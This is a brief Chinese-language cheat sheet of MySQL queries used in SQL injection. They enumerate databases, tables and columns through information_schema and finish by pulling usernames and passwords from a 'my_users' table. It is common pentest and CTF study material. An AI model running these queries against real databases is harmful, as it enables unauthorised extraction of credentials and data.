Mysql注入 常用查询

数据库 -> 表 -> 字段

database() 查询当前数据库名

version() 数据库版本

group_concat(table_name) 一次性显示多条表名

查询所有数据库名 

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

查询某个数据库下的表名

select group_concat(table_name) from information_schema.tables where table_schema=database()

查询某个数据库下的某个表的列名

select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='my_users'

查询某个数据库下的某个表的某个列中的信息

select concat_ws(',',username,password) from my_users